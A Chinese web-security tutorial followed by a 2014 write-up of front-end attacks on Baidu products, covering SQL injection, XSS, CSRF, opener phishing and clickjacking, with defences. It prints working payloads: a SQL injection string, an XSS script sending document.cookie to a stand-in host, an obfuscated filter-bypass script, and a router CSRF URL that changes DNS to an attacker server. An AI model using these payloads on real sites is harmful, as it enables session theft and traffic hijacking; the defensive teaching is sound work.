相信进来的时候你已经看到alert弹窗,显示的是你cookie信息。单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服——没人看得到,自然也不算啥恶意行为。那么如果我把你的信息通过脚本发送到我的服务器保存起来呢 ?先放心,我不打算这么做,也没那笔闲钱去购置一个服务器来做羞羞的事情,也不希望博客园把我这地盘给封掉了。
如同标题所写的,今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果感兴趣,看一看也无妨。
先不说上面的“通过脚本把信息发送给服务器”是什么情况,我们先来聊一聊WEB基本攻击有哪些。
WEB基本攻击大致可以分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”。
资源枚举
有时候受前人(技术前辈也好,你所接任的上一位员工也好)的影响,我们可能会约定成俗地去做某件事情,比如用骆驼命名法法来命名函数名、用JSDoc的方式来书写注释,这样会让你的团队工作更加规范。然后有一天要给项目做备份了,就直接把该项目压缩为rar文件,命名为什么呢?首选的自然是“bak.rar”,你看数据库的备份的形式不也是.bak嘛。
于是乎,如果压缩包所在的地址是可访问的,那么所有人都可以轻松地下载到这个"bak.rar"文件,你的项目也不存在什么小秘密了(即使夏天夏天悄悄地过去)。
这就是“资源枚举”,别有用心的人会遍历你站点所有可访问的目录,然后把一些常见的备胎文件名(比如“sql.bak”、“index-副本.html”)一个个都枚举一下,如果运气好枚举到了就直接下载。
于是跟随主流在这里不是好的事情,对于重要的东西,要么放在外人不可访问的地方,要么应当给它起一个不那么好猜的名字。
资源枚举也不仅仅局限于瞎找东西,聪明的人会利用线索来更好地猜东西。
假设有一个站点走的伪静态的高冷路线,不想让别人知道它所使用的语言和数据库,但没有配置好后端错误信息的提示。那么“别有用心”的朋友就可以在这个站点里的某个搜索结果页面篡改url参数,导致数据库查询错误而返回数据库错误信息页面,或者输入一个根本不存在的子页面地址来获取错误信息,进而可判断该站点到底用的是什么数据库或动态语言。
参数操纵
这里包括了SQL注入、XPath注入、cgi命令执行,还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的,后二者的攻击则是侧重于客户端。
SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。
比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:
book.com/book?id=100
说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:
select * from booktable where id='100'
那么如果我们把url更改为
book.com/book?id=100'or'1'='1
那么数据库操作执行就变成了:
select * from booktable where id='100'or'1'='1'
从而取出了整个booktable 表单的全部数据。
XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式,攻击方式自然也得按xml查找的语法来了,具体 可看这里 。
cgi命令执行指的是用户远程访问cgi脚本时,通过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友可以 看下这里 。
对于这几个攻击,我们需要做的自然是对提交参数的过滤,最好是前端过滤一遍,后端也过滤一遍(后端的过滤和拦截是最重要的,毕竟通过在浏览器禁用脚本的配置可以躲过前端的过滤)。
XSS(cross-site scripting跨域脚本攻击)攻击也是最常见的WEB攻击之一,其重点是“跨域”和“客户端执行”。我们还是拿那个图书馆网站book.com来调侃下。
假设页面右上角有一个搜索书籍的地方,你随便输入一本压根就没有的书,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面 ( book.com/search?name=有钱任性指南 ) 会返回一段信息:
您搜索的书籍“有钱任性指南”不存在
好的,那我们输入这个怎样:
<script>alert('没有书开个毛线书店啊')</script>
假设这个图书馆站点没有对数据做任何过滤,而且会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。
但是这样不好玩,既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
不过这样不好玩啊,收到的总是我们自己的数据,我们要收集的应该是别人的cookie信息啊!
小意思,不妨通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:
book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。
与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。拿我现在工作的项目做比方——为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,从而植入悬浮广告(当然你可以关闭它),这貌似没什么,但如果插入的脚本是获取你敏感数据的恶意脚本那就不一样了。像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。
还有最后一种称为“Stored XSS”——基于存储的XSS攻击。它是通过贴吧啊博客园啊等地方来发表带有恶意跨域脚本的帖子或文章,从而把恶意脚本存储在里面,每个访问该帖子/文章的人就会中招。
还记得一开始加载本文章的alert弹窗么?假设博客园对文章进行了过滤,把全部“alert”啊、"eval"啊等敏感字符都过滤掉,那我们怎么办?我们可以这样:
1
2
3
4
|
<script type=
"text/javascript"
>
var x=
'eva'
+String.fromCharCode(
108
),y=window,e=
'a'
+String.fromCharCode(
108
)+
'ert("欢迎收看本文章")'
;
y[x][
'call'
](
this
,e);
</script>
|
照样实现我们想要的弹窗无误。
对于XSS的预防自然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!
会话劫持
百度百科有个很有意思的引喻——“在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?”
这个比喻很有意思,我们常规访问一个http网站时是与其服务器建立了一次HTTP会话。假设你宿舍楼的“朋友”都跟你处于同一个子网上,其中有人想伪装成你来劫持你的HTTP会话,那么服务器会把菜,哦不,是信息返回给那个人吗?
答案是肯定的,因为HTTP会话并不安全。它在经过TCP/IP协议封装传输数据时,在传输的数据的每一个字节中插入一个32位的序列号码,这个序列号用来保持跟踪数据和提供可靠性(序列号是依循数据顺序逐步递增的)。第三方攻击者可以通过嗅探的方式来获取用户与服务器通讯中的报文信息,如果他能猜测到数据中的序列号,那便能把合法的用户断开,伪装成合法用户让自己控制后续的通话。
对于会话劫持的预防,可以走SSH协议、增强网络安全系统健壮性,也可以使用无序的UUID来替代通讯中的序列号码(而非逐步递增)。
其它攻击
其它攻击包括有前面未提及的CSRF攻击、钓鱼攻击和拒绝服务攻击等。
CSRF(cross-site request forgery),翻译为跨站请求伪造,与XSS非常相似,但XSS是利用用户对当前网站的信任来发起攻击,而CSRF是利用网站对用户的信任来发起攻击。
依旧拿上述的图书馆站点打个比方,如果它的安全机制很松懈——只要用户登录了网站后,只要没关闭浏览器,在任何情况都可以作为一个已通过身份验证的用户来做购书、借书操作(无须重新登录或者输入支付密码什么的,毕竟已经登录验证过一次了嘛)。
那么我们给一位用户发送一份邮件怎样,里面放有一条转向购书执行页面的链接。。。噢不,那样还得用户点击它,我们想让用户看到的时候就立刻执行了购书操作,我们可以这样做——在邮件中插入一张图片:
<img src='http://book.com/pay?bookid=100'/>
img、script、iframe标签都是不受同源策略限制的,假设你使用的邮箱很直白地给用户即时显示这张图片,而该用户又刚好登录了book.com且没有关闭浏览器,那么src里的连接就会立刻访问book.com/pay页面,并按照已通过身份验证的情况来处理,从而做了购书的操作。
相信现在你会很清楚为何现在的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。
对于CSRF攻击,我们所能做的可以有:
1. 检查报头中的Referer参数确保请求发自正确的网站(但XHR请求可调用setRequestHeader方法来修改Referer报头);
2. 对于任何重要的请求都需要重新验证用户的身份;
3. 创建一个唯一的令牌(Token),将其存在服务端的session中及客户端的cookie中,对任何请求,都检查二者是否一致。
钓鱼攻击指的是网站的伪造,比如ta0bao.com,然后在其中应用XSS等方式发起攻击。
拒绝服务(DoS)指的是向网站发起洪水一样的请求(Traffic Floor),导致服务器超负荷并关闭,处理方法常规是采用QoS(Quality of Service)的软硬件解决方案。
攻击层面
攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦,常见的攻击层面有三种:
一. 传统WEB应用程序
1. 表单输入(甚至包括hidden控件的内容);
2. cookie(通过修改cookie内容也可以达到SQL注入攻击的目的);
3. 报头(有时候为了方便统计来源数据,服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中,那么通过修改报头信息也可以起到SQL注入工具目的)
4. 请求参数
5. 上传文件(在文件内携带恶意代码)
二. Web服务
1. 上述“传统WEB服务”的全部方法;
2. WSDL文档(暴露了服务端的每个方法及其使用方式)
三. AJAX应用程序
即上述的“一”和“二”的合集
解决方案
综上所述,我们可以这样审视我们的WEB站点:
1. 永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;
2. 谨慎返回用户输入的信息;
3. 使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);
4. 检查、验证请求来源,对每一个重要的操作都进行重新验证;
5. 使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);
6. 不要将重要文件、备份文件存放在公众可访问到的地方;
7. 会话ID无序化;
8. 对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);
9. WSDL文档应当要求用户注册后才能获取;
10. 。。。。。。。。
虽然我们有一些必要的手段来防止WEB攻击,但永远不会有一枚silver bullet来彻底解决问题,先不谈那些数不胜数的已知的、可被攻击的漏洞,对于谜一样的0-day漏洞,我们所能做的只是提前发现并及时修补它们。
Web 前端攻防 2014
外链会产生站外请求,因此可以被利用实施 CSRF 攻击。
目前国内有大量路由器存在 CSRF 漏洞,其中相当部分用户使用默认的管理账号。通过外链图片,即可发起对路由器 DNS 配置的修改,这将成为国内互联网最大的安全隐患。
百度旅游在富文本过滤时,未考虑标签的 style 属性,导致允许用户自定义的 CSS。因此可以插入站外资源:
所有浏览该页面的用户,都能发起任意 URL 的请求:
由于站外服务器完全不受控制,攻击者可以控制返回内容:
如果检测到是管理员,或者外链检查服务器,可以返回正常图片;
如果是普通用户,可以返回 302 重定向到其他 URL,发起 CSRF 攻击。例如修改路由器 DNS:
链接
http://admin:[email protected]/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=黑客服务器&dnsserver2=4.4.4.4&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced
演示中,随机测试了几个帖子,在两天时间里收到图片请求 500 多次,已有近 10 个不同的 IP 开始向我们发起 DNS 查询。
通过中间人代理,用户的所有隐私都能被捕捉到。还有更严重的后果,查考 流量劫持危害探讨
要是在热帖里『火前留名』,那么数量远不止这些。
如果使用发帖脚本批量回复,将有数以万计的用户网络被劫持。
杜绝用户的一切外链资源。需要站外图片,可以抓回后保存在站内服务器里。
对于富文本内容,使用白名单策略,只允许特定的 CSS 属性。
富文本是 XSS 的重灾区。
富文本的实质是一段 HTML 字符。由于历史原因,HTML 兼容众多不规范的用法,导致过滤起来较复杂。几乎所有使用富文本的产品,都曾出现过 XSS 注入。
旅游发帖支持富文本,我们继续刚才的演示。
由于之前已修复过几次,目前只能注入 embed 标签和 src 属性。
但即使这样,仍然可以嵌入一个框架页面:
因为是非同源执行的 XSS,所以无法获取主页面的信息。但是可以修改 top.location,将页面跳转到第三方站点。
将原页面嵌入到全屏的 iframe 里,伪造出相同的界面。然后通过浮层登录框,进行钓鱼。
总之,富文本中出现可执行的元素,页面安全性就大打折扣了。
这里不考虑后端的过滤方法,讲解使用前端预防方案:
无论攻击者使用各种取巧的手段,绕过后端过滤,但这些 HTML 字符最终都要在前端构造成元素,并渲染出来。
因此可以在 DOM 构造之后、渲染之前,对离屏的元素进行风险扫描。将可执行的元素(script,iframe,frame,object,embed,applet)从缓存中移除。
或者给存在风险的元素,加上沙箱隔离属性。
例如 iframe 加上 sandbox 属性,即可只显示框架内容而不运行脚本
例如 Flash 加上 allowScriptAccess 及 allowNetworking ,也能起到一定的隔离作用。
DOM 仅仅被构造是不会执行的,只有添加到主节点被渲染时才会执行。所以这个过程中间,可以实施安全扫描。
实现细节可以参考: http://www.etherdream.com/FunnyScript/richtext saferender.html
如果富文本是直接输入到静态页面里的,可以考虑使用 MutationEvent 进行防御。详细参考: http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-2/
但推荐使用动态方式进行渲染,可扩展性更强,并且性能消耗最小。
浏览器提供了一个 opener 属性,供弹出的窗口访问来源页。但该规范设计的并不合理,导致通过超链接打开的页面,也能使用 opener。
因此,用户点了网站里的超链接,导致原页面被打开的第三方页面控制。
虽然两者受到同源策略的限制,第三方无法访问原页面内容,但可以跳转原页面。
由于用户的焦点在新打开的页面上,所以原页面被悄悄跳转,用户难以觉察到。当用户切回原页面时,其实已经在另一个钓鱼网站上了。
百度贴吧目前使用的超链接,就是在新窗口中弹出,因此同样存在该缺陷。
攻击者发一个吸引用户的帖子。当用户进来时,引诱他们点击超链接。
通常故意放少部分的图片,或者是不会动的动画,先让用户预览一下。要是用户想看完整的,就得点下面的超链接:
由于扩展名是 gif 等图片格式,大多用户就毫无顾虑的点了。
事实上,真正的类型是由服务器返回的 MIME 决定的。所以这个站外资源完全有可能是一个网页:
当用户停留在新页面里看动画时,隐匿其中的脚本已悄悄跳转原页面了。
用户切回原页面时,其实已在一个钓鱼网站上:
在此之上,加些浮层登录框等特效,很有可能钓到用户的一些账号信息。
该缺陷是因为 opener 这个属性引起的,所以得屏蔽掉新页面的这个属性。
但通过超链接打开的网页,无法被脚本访问到。只有通过 window.open 弹出的窗口,才能获得其对象。
所以,对页面中的用户发布的超链接,监听其点击事件,阻止默认的弹窗行为,而是用 window.open 代替,并将返回窗体的 opener 设置为 null,即可避免第三方页面篡改了。
详细实现参考:http://www.etherdream.com/FunnyScript/opener_protect.html
当然,实现中无需上述 Demo 那样复杂。根据实际产品线,只要监听用户区域的超链接就可以。
支持自定义装扮的场合,往往是钓鱼的高发区。
一些别有用心者,利用装扮来模仿系统界面,引诱用户上钩。
百度空间允许用户撰写自定格式的内容。
其本质是一个富文本编辑器,这里不演示 XSS 漏洞,而是利用样式装扮,伪装一个钓鱼界面。
百度空间富文本过滤元素、部分属性及 CSS 样式,但未对 class 属性启用白名单,因此可以将页面上所有的 CSS 类样式,应用到自己的内容上来。
规定用户内容尺寸限制,可以在提交时由用户自己确定。
不应该为用户的内容分配无限的尺寸空间,以免恶意用户设置超大字体,破坏整个页面的浏览。
最好将用户自定义的内容嵌套在 iframe 里,以免影响到页面其他部位。
如果必须在同页面,应将用户内容所在的容器,设置超过部分不可见。以免因不可预测的 BUG,导致用户能将内容越界到产品界面上。
自定义装扮通常支持站外超链接。
相比贴吧这类简单纯文字,富文本可以将超链接设置在其他元素上,例如图片。
因此这类链接非常具有迷惑性,用户不经意间就点击到。很容易触发之前提到的修改 opener 钓鱼。
如果在图片内容上进行伪装,更容易让用户触发一些危险操作。
要是和之前的区域越界配合使用,迷惑性则更强:
和之前一样,对于用户提供的超链接,在点击时进行扫描。如果是站外地址,则通过后台跳转进入,以便后端对 URL 进行安全性扫描。
如果服务器检测到是一个恶意网站,或者目标资源是可执行文件,应给予用户强烈的警告,告知其风险。
点击劫持算是比较老的攻击方式了,基本原理大家也都听说过。就是在用户不知情的前提下,点击隐藏框架页面里的按钮,触发一些重要操作。
但目前在点击劫持上做防御的并不多,包括百度绝大多数产品线目前都未考虑。
能直接通过点击完成的操作,比较有意义的就是关注某用户。例如百度贴吧加关注的按钮:
攻击者事先算出目标按钮的尺寸和坐标,将页面嵌套在自己框架里,并设置框架的偏移,最终只显示按钮:
接着通过 CSS 样式,将目标按钮放大,占据整个页面空间,并设置全透明。
这时虽看不到按钮,但点击页面任意位置,都能触发框架页中加关注按钮的点击:
事实上,点击劫持是很好防御的。
因为自身页面被嵌套在第三方页面里,只需判断 self == top 即可获知是否被嵌套。
对一些重要的操作,例如加关注、删帖等,应先验证是否被嵌套。如果处于第三方页面的框架里,应弹出确认框提醒用户。
确认框的坐标位置最好有一定的随机偏移,从而使攻击者构造的点击区域失效